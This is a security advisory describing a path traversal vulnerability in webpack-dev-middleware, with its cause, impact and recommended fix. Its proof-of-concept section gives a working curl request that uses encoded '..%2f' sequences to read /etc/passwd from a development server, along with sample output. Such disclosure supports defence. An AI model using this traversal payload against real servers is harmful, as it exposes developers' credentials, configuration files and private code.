Summary

Thewebpack-dev-middleware middleware does not validate the supplied URL address sufficiently before returning the local file. It is possible to access any file on the developer's machine.

Details

The middleware can either work with the physical filesystem when reading the files or it can use a virtualized in-memorymemfs filesystem.
IfwriteToDisk configuration option is set totrue, the physical filesystem is used:

ThegetFilenameFromUrl method is used to parse URL and build the local file path.
The public path prefix is stripped from the URL, and theunsecaped path suffix is appended to theoutputPath:

PoC

A blank project can be created containing the following configuration filewebpack.config.js:
module.exports = { devServer: { devMiddleware: { writeToDisk: true } } };

When started, it is possible to access any local file, e.g./etc/passwd:
$ curl localhost:8080/public/..%2f..%2f..%2f..%2f../etc/passwd

root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologin

Impact

The developers usingwebpack-dev-server orwebpack-dev-middleware are affected by the issue. When the project is started, an attacker might access any file on the developer's machine and exfiltrate the content (e.g. password, configuration files, private source code, ...).

If the development server is listening on a public IP address (or0.0.0.0), an attacker on the local network can access the local files without any interaction from the victim (direct connection to the port).

If the server allows access from third-party domains (CORS,Allow-Access-Origin: * ), an attacker can send a malicious link to the victim. When visited, the client side script can connect to the local server and exfiltrate the local files.

Recommendation

The URL should be unescaped and normalized before any further processing.